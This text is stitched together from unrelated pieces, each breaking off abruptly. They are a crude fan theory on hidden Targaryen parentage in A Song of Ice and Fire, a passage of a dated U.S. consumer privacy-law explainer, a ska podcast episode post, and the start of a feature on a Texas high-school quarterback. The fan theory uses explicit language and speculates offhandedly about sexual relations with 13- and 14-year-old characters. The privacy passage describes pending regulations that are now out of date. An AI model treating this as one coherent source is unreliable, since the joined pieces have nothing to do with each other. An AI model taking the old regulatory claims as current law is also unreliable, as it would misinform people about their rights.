giants? …their lower torsos looked half again as wide as their upper. Their legs were shorter than their arms, but very thick… Neckless, their huge heavy heads thrust forward from between their shoulder blades… (SOS J II) Four giants were among them, massive hairy creatures with sloped shoulders, legs as large as tree trunks, and huge splayed feet. (DWD J III) Wun Wun takes to wine drinking comically quickly. If the Martells and Tyrion don’t have giants’ blood I’ll be damned. Giants and dwarfs are looking like two sides of the same coin right about now, aren’t they? 3. The whole Tyrion = figurative Minotaur theory doesn’t work with the guy literally named “The White Bull” as his father, but given Prince Lewyn’s Kingsguard future and his bone-breaking physique, he’s a figurative White Bull if there ever was one. We’ll look at it in greater depth later, but the basic myth in which a man is cuckolded and his wife gives birth to a sort of chimera in the half-man, half-bull Asterion the Minotaur makes sense with the rough outline we have so far. 4. Tyrion being a Targ/Martell chimera points to a sexual connection between the Martells and Aerys II Targaryen. Once explored, this connection tells us why Oberyn and Elia look so different from Doran, Quentyn, Marwyn and Lewyn. And then other things start falling into place. Time to re-examine history from 256-281 or so. 5. Tyrion’s nose is chopped off, of course, so we can’t compare it with the Martell family nose, but hilariously his penis seems to stand in as a surrogate: Even his manhood was ugly, thick and veined, with a bulbous purple head. * Why Oberyn and Elia Look Different In 259, Joanna Lannister comes to court to be a lady-in-waiting to Princess Rhaella. She meets and befriends the reigning Princess of Dorne. This means tPoD is already at court immediately after the births of Elia and Oberyn. These births, in 257 and 258 AC, follow 9 years of failed pregnancies, stillbirths and cradle deaths. Neither child grows up to look like Doran, Lewyn, Marwyn, Arianne or Quentyn. Let’s briefly re-hash Elia & Oberyn’s physical features. Elia is a “delicate beauty”. Even a good-looking Martell woman, Arianne, is hardly “delicate”. Oberyn, the Red Viper, is “tall, slim, graceful,” with “slender hands”, a “sharply pointed nose” and “large eyes as black and shiny as pools of coal oil” which Hotah calls “viper eyes”. His black hair is streaked with silver. He is a scholar, a warrior, a song-writer and a man renowned for his “carnality”. (TWOIAF; SOS Daen IV; SOS Tyr V; FFC tCoG) Why was tPoD suddenly able to successfully get pregnant in 256 and 257? And why does she apparently (barring travelling for no known reason with two infants) get pregnant while at court? A key piece of the puzzle falls into place when Tywin tells Tyrion, “Oberyn has always been half-mad.” (SOS Tyr VI) You know what that screams. Yup. “Targaryen.” I’ll cut to it: I think Elia’s father is Aerys’s father: Jaehaerys II Targaryen: No one would have called him formidable. Unlike his brothers, Jaehaerys II Targaryen was thin and scrawny, and had battled various ailments all his life. Yet he did not lack for courage, or intelligence. (TWOIAF) He was “not as forceful as his brother” the Prince of Dragonflies: Though never strong, Jaehaerys proved to be a capable king, restoring order to the Seven Kingdoms and reconciling many of the great houses. (TWOIAF) GRRM’s gave these notes on “J2” to an artist: Jaehaerys II: Amiable, clever, sickly (he died young). Pale and frail, with very large purple eyes. Shoulder-length hair, a silky beard, a tired smile. (SSM 11.1.2005) Overall, I get a “pretty good dude” impression regarding J2. The sickliness fits Elia to a tee, and “tired smile” gels with my gut impression of her so much I was stunned to learn it was never actually used to describe her. Elia’s personality — “a good and gracious lady” (SOS Daen IV), “kind and clever, with a gentle heart and a sweet wit” (DWD Daen IV) — goes right along with J2’s. A summary: J2: “battled ailments all his life” vs. Elia: “her health was ever delicate”; “never the healthiest of women” J2: “pale and frail ” vs. Elia: “ frail and sickly” ” vs. Elia: “ and sickly” J2: “amiable” vs. Elia: “kind… with a gentle heart,” sufficiently amiable that Cersei agrees to show her baby Tyrion (SOS Tyr V) J2: “ clever,” “intelligen[t]” vs. Elia: “ clever, with… a sweet wit” ,” “intelligen[t]” vs. Elia: “, with… a sweet wit” J2: “did not lack for courage” vs. Elia: died protecting “her” baby J2: overall positive impression, “not as forceful as [Duncan]”, “a capable king” who brought peace vs. Elia: “a good and gracious lady” In short, I am 100% convinced the separated/cuckolding PoD couples with J2 and their union yields Elia, who is publicly attributed to whomever is her current husband/consort/however that works in Dorne. Assuming TWOIAF is correct that Jaehaerys loves his wife Shaera and that Shaera is still alive at this time, Elia is probably the product of tPoD actively seducing her third cousin Jaehaerys, three years before he becomes King. Perhaps Shaera is sickly and unable to meet Jaehaerys’s sexual needs by 256 and tPoD, being either half or fully as Targ as Shaera is, is seen to be a worthy stand-in. Or maybe the 21-22 year old Dornish/Targ PoD is just that attractive/convincing to the 31-year-old Jaehaerys. She does have (at least) half as much Targ blood as Jaehaerys does, FWIW. Elia being a Targ bastard helps explain why Aerys (who marries his own sister and is the product of an incestuous marriage) agrees to marry Rhaegar to this seemingly unlikely, “frail and sickly” woman. Aside: It also has a fantastic knock-on effect if you buy my hypothesis that Elia was in love with Arthur Dayne and they’re the parents of Aegon VI (who may not be the guy claiming to be Aegon VI). Aegon BastarDayne is now even Targier than he is given Elia’s “basic” Targ-descended Martell blood (to say nothing of the Targ-ness of Arthur [and Elia’s] Dayne blood, but that’s another post…). Might Jaehaerys also be Oberyn’s father? Certainly his “very large purple eyes” might mingle with Martell genes and produce Oberyn’s remarkable “large eyes as black and shiny as pools of coal oil”. But this isn’t what happens, as we’re about to see… ASIDE: After Aerys’s and Rhaella’s births, we “see” Shaera only once, obliquely, in 259/260. The way she is quietly eased off “stage” without ever being spotlighted shows the storytelling power of omission: who spares her a thought, despite the fact that she could be 74 years old and still alive somewhere c.300? * Oberyn’s Father J2+tPoD=Oberyn seems unlikely since “good guy” Jaehaerys loves Shaera and this would mean two-time two-timing, so to speak. In addition, Oberyn’s health is robust, entirely opposite of Jaehaerys’s and Elia’s. Fortunately there’s an explanation for his paternity that makes far more sense. Prince Aerys is 13 in 257, when Jaehaerys’s bastard daughter Elia is born. In 258 Aerys marries Rhaella at Jaehaerys’s behest. Neither he nor Rhaella wish it, as Barristan tells Dany: “I saw your father and your mother wed as well. Forgive me, but there was no fondness there, and the realm paid dearly for that, my queen.” “Why did they wed if they did not love each other?” “Your grandsire commanded it. A woods witch had told him that the prince was promised would be born of their line.” (DWD Daen IV) Rhaegar is born at Summerhall in 259, thus probably conceived in 258 when Aerys is 14. If Aerys impregnates Rhaella in 258, it’s plausible that he was willing and capable to DO SEX a year earlier, just as the guy I’m about to posit is his son would himself impregnate a whore at age 12 or so. I believe it is likely that at age 13 (or just 14), Aerys Targaryen, perhaps wishing to get back at Jaehaerys for forcing him to marry Rhaella, loses his virginity to this father’s ex-lover tPoD (then in her early 20s) and thereby begets the “half-mad” Red Viper, Oberyn Martell. Nothing’s more Dornish nor more Targ, after all, then the Targ-descended Princess of Dorne sleeping with a Targ father and son in quick succession. What’s more, I think Aerys is in love with the older Princess of Dorne (and she loves him, at least after a fashion) and believe she acts as a mentor to him for years. We’ll see that tPoD’s death affects Aerys’s mind in later years. But why would tPoD sleep with a barely-man 9 years her junior? * Rockin’ The Cradle: The Chekhov’s Gun of Dornish (and Targ) Sexuality Before talking about why Aerys and tPoD specifically hooked up… I submit that Targaryen and, especially, Dornish sexual mores are in fact one of the biggest Chekhov’s Guns in ASOIAF. Early in AGOT we learn that the Targaryens are incestuous, and TWOIAF provides reams of evidence that Targs are often sexually precocious. But the Dornish. Ohhhh, the Dornish. GRRM was not (just) being a geeky pervy dirty old man when he wrote the following stuff about the Dornish and The Sex: It was said that [Oberyn] bedded men and women both… (SOS Tyr V) [Tyrion:] “Did you tire of your paramour on the road?” “Never. We share too much.” Prince Oberyn shrugged. “We have never shared a beautiful blonde woman, however, and Ellaria is curious. Do you know of such a creature?” (ibid) [Oberyn:] “Her Grace needs another husband, and who better than a prince of Dorne? Ellaria believes I should accept. Just the thought of Cersei in our bed makes her wet, the randy wench.” (SOS Tyr I) “I was abed with the Fowler twins when the word reached me,” the captain heard [Nymeria] say. (The Captain of the Guard) FWIW the Fowler twins are women. Dornish women were lewd… (The Watcher) “Are you certain you are not off to some other bed, some other woman? Tell me who she is. I will fight her for you, bare-breasted, knife to knife.” She smiled. “Unless she is a Sand Snake. If so, we can share you. I love my cousins well.” (Soiled Knight) “You need a woman, not a little girl, but I can play the innocent if that excites you.” “You should not say such things.” Remember, she is Dornish. In the Reach men said it was the food that made Dornishmen so hot-tempered and their women so wild and wanton. Fiery peppers and strange spices heat the blood, she cannot help herself. (SK) She and Tyene had learned to read together, learned to ride together, learned to dance together… They would have shared their first man as well, but Drey got too excited and spurted all over Tyene’s fingers the moment she drew him from his breeches. Her hands are dangerous. The memory made her smile. (The Princess in the Tower) Lady Nym’s garb is “so immodest” that Balon Swann is uncomfortable looking at her. (The Watcher) The Bastard of Godsgrace was one of Dorne’s finest swords as well, as might be expected from one who had been Prince Oberyn’s squire and had received his knighthood from the Red Viper himself. Some said that he had been her uncle’s lover too, though seldom to his face. [Note that Daemon is 18 years Oberyn’s junior, and a full knight when we meet him, so this could mean a 32 year old fucking a 14 year old boy.] Arianne did not know the truth of that. He had been her lover, though. At fourteen she had given him her maidenhead…. Arianne gave him her most seductive smile. “We might share a bed together.” (TWOW Ari) “Arianne catches [14 year old Elia Sand] making out with a servant named Feathers who is twice Elia’s age.” (Summary of GRRM reading TWOW Ari II) “Even death is not sacred to a Dornishmen.” (Arianne in The Watcher) Nor is sex or the innocence of anyone over the age of 11, obviously. All of this is not prurience for its own sake. The point is to inform readers who have “average” attitudes towards sex that the Dornish do not. Dornish men and women fuck men and women. And they fuck a lot. They regularly fuck people much younger/older than them. * Yes, But Which Cradle? Aerys’s Cradle. Keeping in mind the lengths to which ASOIAF goes to show us the Dornish doing it with everything sexy that moves, let’s look at how and why tPoD and Aerys Targaryen hooked up in 257, when he is only 13 and she 22. We already have a basic motive for Aerys: his father Jaehaerys just impregnated tPoD, even as he’s forcing Aerys to marry Rhaella. Aerys wants to show up his father, prove himself a man, etc. But why would tPoD sleep with a 13 year old Prince? Lots of reasons (given that she’s Dornish and 13 is no obstacle), actually! The young Aerys “was charming and generous,” qualities “that won him many friends.” (SOS Dae VI; TWOIAF) Moreover he is a looker and a burgeoning warrior: A handsome youth, Aerys had fought gallantly in the Stepstones during the War of the Ninepenny Kings. (TWOIAF) Said war is yet 3 years away, but his physical qualities would be immanent. Beyond this, we know little of Aerys’s physicality, but we know a bit more about the look of Rhaegar Targaryen, his acknowledged son, and it all suggests Aerys is attractive. Rhaegar is taller than Viserys, with “dark indigo rather than lilac” eyes. (COK Daen IV) Many a night [Cersei] had watched Prince Rhaegar in the hall, playing his silver-stringed harp with those long, elegant fingers of his. Had any man ever been so beautiful?… Cersei had almost drowned in the depths of his sad purple eyes. He has been wounded, she recalled thinking, but I will mend his hurt when we are wed. Next to Rhaegar, even her beautiful Jaime had seemed no more than a callow boy. (FFC C V) So: Rhaegar is really good looking and (naturally) crazy attractive (to his Targ half-sister Cersei), whereas Oberyn has a similar sort of preternatural sex appeal, notching bedposts and spreading bastards far and wide. Rhaegar (i.e. Aerys’s son) and Oberyn (i.e. Aerys’s proposed son), side by side: RT: “long, elegant fingers” vs. OM: “slender hands” (totally unlike Martell hands) RT: “taller than [Viserys”] vs OM: “tall, slim, graceful”; “slender,” “fit” and “fierce” RT: “Silver-pale”, “silver-blond” hair like Dany and Viserys (COK Daen IV; GOT Daen I) vs. “a few streaks of silver marred the lustrous black hair that receded from his brow” marred the lustrous black hair that receded from his brow” RT: Writes songs vs. OM: Writes songs RT: Cersei “almost drowned in the depths of his sad [dark indigo] eyes” vs. OM: “large eyes as black and shiny as pools of coal oil“1 1 While J2’s “very large” eyes are also consistent with Oberyn’s eyes, Rhaegar provides us with a sample son of Aerys (who, don’t forget, is himself the son of the “very large” eyed J2 and his wife of the identical gene pool). And there’s one helluva conspicuous parallel between Oberyn’s eyes that are “pools of coal oil” and Rhaegar’s eyes in which someone might drown. Indeed, the liquid association suggests to me that Rhaella (whose genes are from the same pool as Aerys’s, whose kids have liquid eyes) may be Quaithe: “Dany had not noticed Quaithe in the crowd, yet there she stood, eyes wet and shiny behind the implacable red lacquer mask.” (COK Dae III) Oberyn’s drinking and libido make far more sense if Aerys is his father than if Jaehaerys is, given Aerys’s noted drunkenness both at Tywin’s wedding (in 263) and again upon Joanna Lannister’s visit to court in 272. Likewise, Oberyn’s fighting prowess fits much better with a father who “fought gallantly” and “won his spurs” at 16 on the battlefield than with “frail” J2. Ser Oberyn Martell is a renaissance man, or, uncharitably, a dilettante: He had traveled in the Free Cities, learning the poisoner’s trade and perhaps arts darker still, if rumors could be believed. He had studied at the Citadel, going so far as to forge six links of a maester’s chain before he grew bored. He had soldiered in the Disputed Lands across the narrow sea, riding with the Second Sons for a time before forming his own company. His tourneys, his battles, his duels, his horses, his carnality… it was said that he bedded men and women both, and had begotten bastard girls all over Dorne. (SOS Tyr V) Oberyn’s dilettantish tendencies read like a sane, successful version of Aerys II’s “changeable” nature and “endless caprices”: His Grace was full of grand schemes… [Four such “schemes” are described, then…] In 270 AC, during a visit to Sunspear, he told the Princess of Dorne that he would “make the Dornish deserts bloom” by digging a great underground canal beneath the mountains to bring water down from the rainwood. None of these grandiose plans ever came to fruition; most, indeed, were forgotten within a moon’s turn, for Aerys II seemed to grow bored with his royal enthusiasms as quickly as he did his royal paramours. (TWOIAF) So Aerys and Oberyn share a tendency to “grow bored” after initial enthusiasm for new endeavors. Like father, like son. But also: holy shit! Aerys’s Dorne-visit and promise in 270 jumps out at us and now makes perfect sense! He’s visiting his erstwhile lover tPoD and their 12 year old son Oberyn and promising her the moon, as men will do! While Oberyn did tire of scholarship, his aptitude for it makes sense if he and Rhaegar are half-brothers, given: As a young boy, the Prince of Dragonstone was bookish to a fault. (SOS Daen I) Oberyn’s desire for revenge and overall personality not only fit better with Aerys but also with in-world notions about bastards. And Tywin’s comment that Oberyn “has always been half-mad” is Grade A, Prime Cut shit if Oberyn’s father is indeed “The Mad King”. Finally, if Aerys is Oberyn’s father, it’s reasonable that he might be in love tPoD, right? And if he loves tPoD, his willingness to marry his firstborn son Rhaegar to her daughter Elia is explained even better than it already is given that Elia is Aerys’s half-sister. BONUS SHINY SHIT: Viserys “Targaryen” is Master of Ships’ Lucerys Velaryon’s son, and Aerys is absolutely correct when he thinks Rhaella is stepping out. “Less than the shadow of a snake” Viserys is actually descended from “the Sea Snake” Corlys Velaryon. * Tying Oberyn & Elia “Targaryen” into the Timeline; More Literary Allusions Doran’s story of Elia and Oberyn’s births always seemed odd. But if they’re fathered by Targs, we quickly see that while we’re led to assume Doran isn’t present for their births because he’s “away” at Salt Shore, in fact it’s tPoD who’s away in King’s Landing: “I was nine when Elia came, a squire in service at Salt Shore. When the raven arrived with word that my mother had been brought to bed a month too soon, I was old enough to understand that meant the child would not live…. Yet she lived, by the Mother’s mercy. And a year later Oberyn arrived, squalling and kicking. I was a man grown when they were playing in these pools.” (FFC COtG) Prince Doran’s Water Gardens reference redoubles the coy suggestion that Elia and Oberyn were always in Dorne, but “a man grown” is 16, so Doran’s memory is totally consistent with their being born in and remaining in King’s Landing until age 6 or so. If Oberyn has (more) Targ blood, it (further) explains Arianne’s seemingly irresistible, disturbing attraction to him: I sat beside the well and pretended that some robber knight had brought me here to have his way with me, [Arianne] thought, a tall hard man with black eyes and a widow’s peak. [Yes, that’s Oberyn.] The memory made her uneasy. “I dreamed,” she said, “and when the sun went down I sat cross-legged at my uncle’s [!] feet and begged him for a story.” “The Red Viper” being Targy also makes better sense of both the pervasive viper/snake imagery surrounding Oberyn and his 8 “Sand Snake” daughters and of the text’s several snake-dragon associations: The Red Viper was… well, a snake (SOS Tyr IX) The Red Viper seemed to have the same notion as Bronn… I hope to seven hells that you know what you are doing, snake. (SOS Tyr X) All Dornishmen were snakes, and the Martells were the worst of them. (DWD C I) “Your brother Rhaegar was the last dragon, and he died on the Trident. Viserys is less than the shadow of a snake.” (GOT Daen III) [An actual snake, then, is “like” a dragon] “I am the dragon and I will be crowned!” he shrieked, and his fingers snapped like snakes… (GOT Daen IX) When she had her handmaids char the horsemeat black, the dragons ripped at it eagerly, their heads striking like snakes. (COK Daen I) The best snake sauce had a drop of venom in it, he had heard, along with mustard seeds and dragon peppers. (Soiled Knight) Beyond all this, more “Targaryens” is a perfect fit for where I think ASOIAF is going thematically: more of something “special” makes that something less special, right? And ASOISAF isn’t going to concern itself with the glorious restoration of “the one true king”. It wants to present us with an Epic Clusterfuck of Bloods Royal and thereby highlight the absurdity of any belief that one “chosen” person/family is uniquely qualified and/or destined to (1) exercise political/military/social power and/or (2) neatly and without complication fulfill ancient prophecy. Finally, granting that Cersei and Jaime are Aerys and Joanna’s, Oberyn makes a comment to Tyrion that takes on a whole new meaning if he and Elia are Targaryen as well: “As children Elia and I were inseparable, much like your own brother and sister.” (SOS Tyr V) “Much like,” indeed. All 4 are Targaryen bastards. Good one, GRRM. * The Salad Days of Sexy Times In King’s Landing So the Princess of Dorne and Aerys Targaryen have a relationship and a son together and stay close enough that (a) tPoD remains at court for years after Elia and Oberyn are born, (b) Aerys visits tPoD and their son in Dorne in 270, and (c) tPoD returns to King’s Landing for the 272 tournament along with her youngest brother Lewyn. Now we need to clarify what I believe is the sexually-charged nature of the Princess of Dorne’s abiding “friendship” with Joanna in light of: tPoD’s sexual interest in 13 year-old Aerys (i.e. someone young) Dornish women’s proclivity for sex with other women Aerys’s sexual interest in Joanna (“as a youth, he was taken with [Joanna]” [DWD Dae VII]) Rhaella dismissing Joanna from her service and complaining that Aerys is “turning my ladies into his whores” into his whores” Lewyn and Aerys having sex with Joanna contemporaneously (to produce Tyrion) The point of all the Dornish (and Targ) sex shit begins to emerge with tPoD marrying super young, then later fucking Jaehaeyrs and Aerys in back-to-back years and having kids by each. But it blossoms when we consider her relationship with Joanna Lannister. After Elia and Oberyn are born, tPoD remains at court as one of Rhaella’s ladies. Joanna comes to court in 259 at age 14 and meets tPoD. Just as tPOD’s son Oberyn and granddaughter Arianne are “wild and wanton” in the ensuing decades, so is tPoD herself. I think tPoD initiates Joanna into sexual maturity together with her young lover, Prince Aerys. The three have a grand ol’ time together for a few years. There’s genuine love in the room all around, but with Aerys being ever flighty, the tightest bond is between Joanna and tPoD. Tywin knows all about Joanna and Aerys (at least). When Aerys becomes king in 262 Tywin strikes a deal: he’ll marry Joanna and allow her to continue as (one of) Aerys’s secret paramour(s) and Aerys will make him his permanent Hand. Part of this is rooted in Tywin’s fear that he’s impotent and the idea that any children Joanna and Aerys have might be passed off and raised as his own, thereby perpetuating House Lannister. It’s likely agreed (or so Tywin believes) that Aerys will marry his legitimate offspring to any potential children he has with Joanna, putting Joanna’s Lannister blood in the royal line. NOTE: The idea that Tywin is impotent follows from the fact that he doesn’t have any kids, bastards or legitimate. And there’s also this: the one reference to “impotence” in all of ASOIAF just so happens to be to Shae (not) having sex with old, impotent men — Shae who Tywin later bones. “Tyrion had wanted no handsome young guardsmen loitering about Shae day after day. ‘Find me old, ugly, scarred men, preferably impotent,’ he had told the eunuch.” (COK Tyr VII) Ironically, Tyrion gets his wish, doesn’t he? Sorry. Not a coincidence. At Tywin’s wedding in 263, though, he’s humiliated by Aerys’s drunken public display of lust towards Joanna, which contravenes their understanding that things be kept quiet. Might he secretly instigate Rhaella’s dismissal of Joanna “not long thereafter”, given that until then Rhaella “turned a blind eye to most of the king’s infidelities” including those with Joanna and tPoD for the past 6 years? The statement attributed to Rhaella by Lannisterite Maester Yandel (i.e. he’s “turning my ladies into his whores”) sounds exactly like whore-obsessed Tywin. NOTE: Certainly Rhaella isn’t happy with her husband-brother’s public behavior. She’s said to speak of her “ladies”, plural, because Joanna isn’t the first to bang Aerys. The king’s affair with and love for tPoD is surely an old, bitter wound for Rhaella, poisoning the well of their marriage before she ever had a chance to try to make it work, rendering her forever second-best. With her lover Joanna “exiled”, tPoD soon takes Elia and Oberyn back to Dorne with her, and thus Doran sees Elia and Oberyn in the Water Gardens as a 16 year old “man grown” in 264. *** The Twins In 265-6 Aerys II impregnates Joanna on one of her rare visits to King’s Landing (“seldom visiting” doesn’t mean “once” nor “never”) or perhaps at a tourney or on a trip to Casterly Rock. Joanna gives birth to Cersei and Jamie in 266. Jenna’s comment is profound: “Men say that Tywin never smiled, but he smiled when he wed your mother, and when Aerys made him Hand. When Tarbeck Hall came crashing down on Lady Ellyn, that scheming bitch, Tyg claimed he smiled then. And he smiled at your birth, Jaime, I saw that with mine own eyes.” (FFC Jai V) Note that this passage suggests parallels between Tywin’s wedding, his appointment as Hand, his greatest amoral act of Machiavellian power politics and Cersei and Jamie’s birth. It’s thus hinted that
just the agencies that generate them, but employers, landlords, lenders, and other entities that may ask for them. You have the rights to know what information is in your credit file, to know what has been used against you in an adverse decision, and to dispute any errors. Agencies that compile your reports also have to obey certain guidelines about inaccurate, incomplete, unverifiable, or outdated information, and can only provide your file to someone with a “valid need.” Sharing your “consumer report” data outside of that valid need is a big no-no. Who has to play nice: Financial institutions and credit reporting ones — but those categories may be broader than you think. The GLBA limits what non-public personal information financial institutions may disclose to third parties. The category of “financial institution” is broader than just banks and credit unions, and covers anyone that’s “significantly engaged” in a long list of financial activities. So a business that brokers or services loans or collects debts — like a car dealership — may be covered, as may businesses that provide “advisory services,” wire transfers, or a bunch of other activities. Meanwhile, the FTC has separate guidance on FCRA for employers, landlords, insurers, furnishers (the agencies that compile reports), people who maintain or destroy credit report records, and more. Who you complain to: The Federal Trade Commission, or potentially your state attorney general. Phone Use Data Image courtesy of Alan Bruce The Communications Act and the Telephone Records and Privacy Protection Act of 2006 What info is covered: Your phone company — landline, wireless, or IP based — collects customer proprietary network information (CPNI) when you make calls. That data includes what number you call, what number you receive a call from, how long a call lasts, where you called from (if using a cellular network) and also data about services you use — including 411, voicemail, or anything else you can see on your phone bill. There are three circumstances in which your phone company can use, share, or allow access: when required by law (as when the cops subpoena records or the NSA collects them), with your approval, or to provide the service you’re paying for to you. Additionally, since Jan. 2007, it is now a federal criminal violation to fraudulently obtain phone records. Get caught doing it and you’re subject to fines, jail time, or both. Who has to play nice: Phone companies — all of them, no matter what tech they’re using (wireless, VoIP, or copper-wire). Who you complain to: The Federal Communications Commission. Cable TV Data Image courtesy of geetargeek The Communications Act — specifically, the Cable Communications Policy Act of 1984, although some other sections of the much-amended and much-updated Communications Act apply as well. What info is covered: There are two categories of data at play. One is personally identifiable information (PII) cable companies gather, like your Social Security number. That needs to stay private, but isn’t unique to your cable company. The other category is data that is unique to your cable company: CPNI, customer proprietary network information. Cable operators can connect both PII and CPNI from you in order to provide you with and bill you for the services you subscribe to. They may also use that data in order to detect if you’re pirating cable or in some other way gaining “unauthorized reception” to services, and they can aggregate your contact info into subscriber lists unless you tell them not to. Among the CPNI that your modern cable company can collect from you is a whole big pile of data about your viewership habits, along with all your standard billing and account info. However, the law bars them from using that data in an individualized, identifiable way. Instead, “activity data” — when you watch cable, what you buy from on-demand, how long you stay with a channel, if you’re using the remote control or a phone to control it, and so on — is used in a “de-identified” way with your name and address stripped. The most informative document for learning what your cable operator collects and how they use it is actually going to be that specific company’s customer privacy notice, not the law; the Cable Act makes those be pretty detailed and so your operator will have one for you to Google. Who has to play nice: Cable companies that provide you TV through coaxial or fiber optic cable. Satellite TV companies are not covered under the same FCC regulations as cable companies. However, the privacy policies for both DirecTV (PDF) and Dish Network (PDF) are clear about what other limitations of the Communications Act apply to what they can do with PII and CPNI they collect from you. Streaming app versions of your cable company’s service are not yet held to the same privacy standard, but may be very soon, if the FCC votes to adopt its current set-top box proposal on Sept. 29. Who you complain to: The Federal Communications Commission Internet Use Data Image courtesy of Pam What law(s) cover this info: None What info is covered: If you’re over 13, none of it… yet. The FCC is currently considering a proposal that would subject internet service providers (the Comcasts, Charters, and Verizons of the world) to restrictions similar to those under which cable TV operators and phone companies must operate. The proposed regulation would not limit what content providers, app makers, or affiliated services like advertising trackers, could do with your browsing data. It would, however, limit what your ISP could do with its access to your internet use data. The proposal is meeting with strong pushback from the broadband and wireless industries, which want to be able to run and explore pay-for-privacy schemes that require consumers to opt-in and pay a fee to keep certain information unsold. Who has to play nice: Nobody Who you complain to: Nobody’s really the right place for those complaints right now, but if the proposal passes and survives legal challenges, it may eventually be the FCC. Childrens’ Internet Use Data Image courtesy of Steve Tanner The Children’s Online Privacy Protection Rule, better known as COPPA What info is covered: Personal information, collected online, pertaining to children under age 13. “Personal information” includes anything that can be a unique identifier: social security number, home address, phone number, screen name, geolocation information, a photo, or anything else that could tie an account to a single, particular child. Entities covered by the rule must: Post privacy policies Provide notice to, and obtain consent from, parents about privacy practices Give parents the option of letting kids’ data be used internally but not shared with third parties Permit parents access to review their kids’ data or have it deleted Keep kids’ data confidential and secure Limit the retention of kids’ data after it is no longer needed and take “reasonable measures” to prevent it from unauthorized access or use Who has to play nice: Commercial websites and online services, including mobile apps, that collect, use, or disclose personal information from children under age 13. That means services explicitly directed to children, as well as sites that have “actual knowledge” that they may be collecting data from children under age 13. (This is why you often see an age gate at site or app registration asking you to confirm that you are 13 or over. You confirming that lets the site off the hook from having any actual knowledge that it has served — or shared data from — any user covered by the law.) Who you complain to: The Federal Trade Commission. Everything Else Image courtesy of Mike Saechang There are huge swaths of unregulated data collection and data use out there. It seems like basically every week we find some new story about driving data or computer parts becoming yet another data point in the arsenal of facts marketers can assemble against us. And as we collectively transition more and more into the “internet of things” era, pervasive data collection is not going to stop or slow down. For the most part, the agency tasked with figuring out whether those data uses are harmful, misleading, or proper is the FTC. In general, the FTC is your first go-to for consumer privacy issues. The commission is also busily investigating the implications of the big data world: although there are very few new regulations about the massive sea of connected data in which we all swim, the FTC is working hard to try to enforce the old regulations in the new world. If the collection or use of big data is discriminatory or misleading, the FTC may be able to act. The FTC is also starting to investigate whether all those notifications to consumers actually work. Study after study has shown that the vast majority of consumers do not read the terms of service for sites they use, and the ones that exist are so long and complicated that most of us literally cannot take the time to parse them all.A fifth Thursday this month? You know what that calls for, right? A rules breakin’ episode! How does this episode break all the rules? Well listen up, I’ll tell you, but I’m also going to tell you some totally non-mind blowing stuff about ska and friends. So, once you’ve been a ska fan for long enough you make friends. I know I have, some friends for LIFE! But also some friends in bands. I was in a band (lots of horns, no ska beat, not very good) that played along side ska and power pop bands regularly, so you know “inside the scene” friends. Friends that when you’d see each other outside a local show at a Denny’s or the local record shop or book store you’d stop and talk and hang out. You’d end up at the same parties and you were always glad to see them. You’d pay to go see them play if you weren’t on the bill that night, but they’d get you in free anyway. Those kinds of friends. They might not help you move, but they’ll always recognize you when they see you and will spend a few hours over drinks before either one of you moves far away from your hometown. Heck, they may even attend your wedding. There are bigger bands that have had, at one time or another, someone I know in them. There are also other bands that I got to know, who are totally cool, but we’re more like acquaintances. Also, recently I’ve started making friends in bands again, but I’ve yet to meet some of these wonderful folks in person. So here it is, some true blue friends in legitimate ska bands! And even though I didn’t move from Peoria, IL until I got out to Los Angeles, I did spend a lot of time in Madison, WI and Indianapolis, IN to get to know those guys. So, how am I breaking the rules? Some of these bands share members (sometimes the very guy in the band I knew) and that’s something I try not to do in a series of episodes let alone one. I do it for variety of music’s sake. But eff it! I just had my birthday and I wanted to listen to my friends’ bands and share them with you! the Small Mediums at Large – Ha Ha Ha (the Small Mediums at Large ’99) I Voted for Kodos – I Just Want You to Know (Close Enough for Ska ’00) No Reason Given – Babylon America (New Demo ’02) Corey Dixon & the Zvooks – Jack Ruby (Come and Go ’01) the Malcontents – Get Out (the Malcontents ’04) Roscoe P. Soultrane – New Day (Ska Spelled Backwards ’97) the MIBs – Just for Kicks (the MIBs ’96) If you’re in a ska band and would like to be interviewed or have a song featured, please email me at radjose[at]gmail[dot]com. This episode and all episodes can always be found at here. You can also subscribe to the podcast by going to your advanced tab on iTunes, then select “subscribe to podcast…” and entering this address: http://23minofska.podomatic.com/rss2.xml into the box that opens. Also if you’d like, find & like us on facebook. Don’t forget to download this episode to share with your friends. Also, hit up www.BigSkaGamble.com for 7 awesome ska 7″ records!There is no off-season in Texas football, so it was no surprise that on a hot early July morning, Chase Griffin, the rising junior quarterback of the Hutto Hippos, was already looking sharp, slinging passes around his high school’s empty turf field. The previous weekend, Griffin had led Hutto to a first-place finish in the consolation bracket of the state seven-on-seven football tournament, and he had spent much of the month of June juggling his commitments for Hutto with trips to college football camps, flying around the country (University of North Carolina, Southern Cal, Cal, Stanford) and driving around the state (UT, A&M, TCU, Houston) to showcase his skills for Division I coaches. Chase’s jam-packed early summer had followed three weeks of the Hippos’ spring football practice, which had followed Chase’s first varsity season, in which he’d thrown for 3,056 yards and 31 touchdowns and been named the All–Central Texas Newcomer of the Year by the Austin American-Statesman. (He also proudly maintains a 4.0 GPA and plans to join the robotics club this fall.) Now, at Hutto Memorial Stadium, Chase was looking for his next edge, tweaking the “kinematic sequence” of his throwing motion under the tutelage of Trenton Kirklin, an ebullient 25-year-old who serves as offensive coordinator at New Braunfels’s Canyon High School and is one of Chase’s three private quarterback coaches. “Focus on your ankle eye getting to me,” Kirklin said, referring to the path of Chase’s back foot as the quarterback threw the football. Chase made a tiny adjustment and zipped a pass across the field to his coach. Kirklin looked down at his hands and grinned. “That one had some juice on it!” Next, Kirklin fixated on the alignment of Chase’s front foot. “This is what Brady does,” Kirklin said, pointing his front foot toward his target in the style of the New England Patriots star. “And this is what Carson does.” He adjusted the same foot to the more closed position favored by Philadelphia Eagles quarterback Carson Wentz. Chase looked on intently, an eager student registering the information. (“My wife had Chase do Suzuki violin,” his father, Will Griffin, would tell me later. “He learned how to concentrate.”) Soon, Chase was rehearsing his throws at a fast cadence. “Hole shot,” he called out to himself, pivoting his feet and throwing across his body to complete a pass to Kirklin on the far side of the field. “Dig,” Chase intoned, hitting Kirklin in the chest as the coach sprinted across the field. Chase finished with deep routes, launching the ball on 40-yard parabolas. His first pass sailed into Kirklin’s outstretched hands. The second fluttered short, and the coach had to clamber a few steps back to catch it. “Speed up your foot strike. I guarantee it’ll be farther,” Kirklin said. Chase followed his advice, and the next throw traveled an additional four yards. “That’s pretty good, dude,” Will said to his son. He turned to me. “If you spend two hours and get better at one throw, it’s worth it. It could be a game winner.” For most of football’s history, quarterback development amounted to finding a tall, athletic 